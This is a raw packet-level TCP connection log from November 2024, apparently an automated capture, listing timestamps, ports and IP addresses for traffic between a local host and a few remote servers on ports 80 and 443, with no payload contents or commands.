Nov 15, 2024 16:16:10.087251902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087260962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087270975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087280989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087304115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087304115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087320089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087356091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087400913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087412119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087424040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087457895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087475061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087486982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087496996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087507963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087518930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087519884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087527990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087555885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087583065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087594986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087609053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087618113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087624073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087630987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087631941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087639093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087641954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087654114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087667942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087687016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087690115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087699890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087743998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087774992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087786913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087798119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087816000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087816000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087830067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087838888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087862015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087883949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087897062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087908983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087920904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087928057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087960958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087973118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088061094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088073015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088083029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088104010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088114977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088181019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088191986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088210106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088219881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088223934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088232994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088243961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088253021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088255882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088278055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088288069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088529110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088541985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088551998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088572979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088596106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088603973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088608027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088620901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088629007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088634968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088643074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088643074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088665009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088665009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088676929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088686943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088706970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088713884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088824987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088836908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088848114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088859081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088874102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088896990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088898897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088910103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088927031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088937998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088937998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088947058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088952065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088963032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088968039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088974953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.088982105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088993073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.088998079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.089005947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.089015007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.089018106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.089029074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.089040995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.089044094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.089065075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.089077950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.089531898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.089550972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.089581013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.089596033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.089600086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.089644909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.127449036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.127532959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.128556967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.128612041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.271794081 CET	443	49703	23.1.237.91	192.168.2.5
Nov 15, 2024 16:16:10.271977901 CET	49703	443	192.168.2.5	23.1.237.91
Nov 15, 2024 16:16:11.654365063 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:11.654373884 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:11.654421091 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:11.654661894 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:11.654671907 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:11.682377100 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:11.682446003 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:11.682528973 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:11.682734966 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:11.682756901 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:11.745018005 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:11.745068073 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:11.745172977 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:11.745343924 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:11.745362043 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:11.795638084 CET	49711	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:11.795692921 CET	443	49711	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:11.795797110 CET	49711	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:11.795990944 CET	49711	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:11.796020031 CET	443	49711	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.515377998 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.520745993 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.520756960 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.521895885 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.521946907 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.523996115 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.524054050 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.524113894 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.524121046 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.540621996 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.540811062 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.540829897 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.542243004 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.542301893 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.542627096 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.542696953 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.542716026 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.572982073 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.587321997 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.588618040 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.588694096 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.604027987 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.604245901 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.604255915 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.605676889 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.605737925 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.606029034 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.606105089 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.606141090 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.643266916 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.647344112 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.658890009 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.658899069 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.683936119 CET	443	49711	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.684377909 CET	49711	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.684402943 CET	443	49711	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.686088085 CET	443	49711	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.686167955 CET	49711	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.686620951 CET	49711	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.686712027 CET	443	49711	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.686790943 CET	49711	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.686805010 CET	443	49711	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.705790997 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.737323046 CET	49711	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.812355995 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.812386036 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.812406063 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.812628984 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.812657118 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.812679052 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.812931061 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.816613913 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.817318916 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.821125031 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.830158949 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.830286026 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.830297947 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.830776930 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.830908060 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.830998898 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.831037998 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.831090927 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.831235886 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.831268072 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.831281900 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.832375050 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.832395077 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.835012913 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.835104942 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.835119009 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.843841076 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.843873978 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.843893051 CET	443	49709	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.843928099 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.845865011 CET	49709	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.876123905 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.900140047 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.900198936 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.900230885 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.900268078 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.900296926 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.900325060 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.900329113 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.900342941 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.901175022 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.907958984 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.909620047 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.909723997 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.909734011 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.910902977 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.914020061 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.929402113 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.955322027 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.958132029 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.958264112 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.959908962 CET	49708	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:12.959927082 CET	443	49708	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:12.960634947 CET	443	49711	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.018184900 CET	49711	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.018246889 CET	443	49711	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.018991947 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.019045115 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.019125938 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.019141912 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.020028114 CET	49711	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.020114899 CET	443	49711	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.020294905 CET	443	49711	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.020379066 CET	49711	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.020379066 CET	49711	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.023747921 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.024158001 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.024167061 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.028548956 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.028635025 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.028646946 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.037439108 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.037816048 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.037832975 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.046524048 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.046732903 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.046741009 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.055586100 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.059443951 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.059452057 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.064982891 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.065071106 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.065078974 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.074525118 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.075397968 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.075404882 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.081887007 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.082030058 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.082037926 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.123892069 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.123914003 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.134417057 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.134453058 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.134505033 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.134596109 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.134607077 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.134705067 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.134757042 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.134767056 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.135335922 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.140676022 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.143358946 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.148185968 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.151778936 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.151823044 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.152276039 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.152287006 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.156857967 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.158624887 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.164956093 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.165003061 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.165214062 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.165225983 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.165674925 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.171394110 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.177555084 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.177615881 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.178076982 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.178101063 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.178255081 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.183737993 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.190090895 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.190119028 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.191442013 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.191454887 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.196450949 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.196496010 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.196507931 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.199357033 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.202670097 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.208862066 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.208888054 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.211469889 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.211481094 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.211780071 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.215099096 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.221366882 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.221406937 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.227343082 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.227355003 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.227735996 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.231357098 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.231364012 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.233566046 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.233932018 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.240272045 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.240309954 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.241204023 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.241219044 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.241924047 CET	49710	443	192.168.2.5	142.250.186.164
Nov 15, 2024 16:16:13.246404886 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.252310038 CET	443	49710	142.250.186.164	192.168.2.5
Nov 15, 2024 16:16:13.252388000 CET	443	49710	142.250.186.164	192.168.2.5
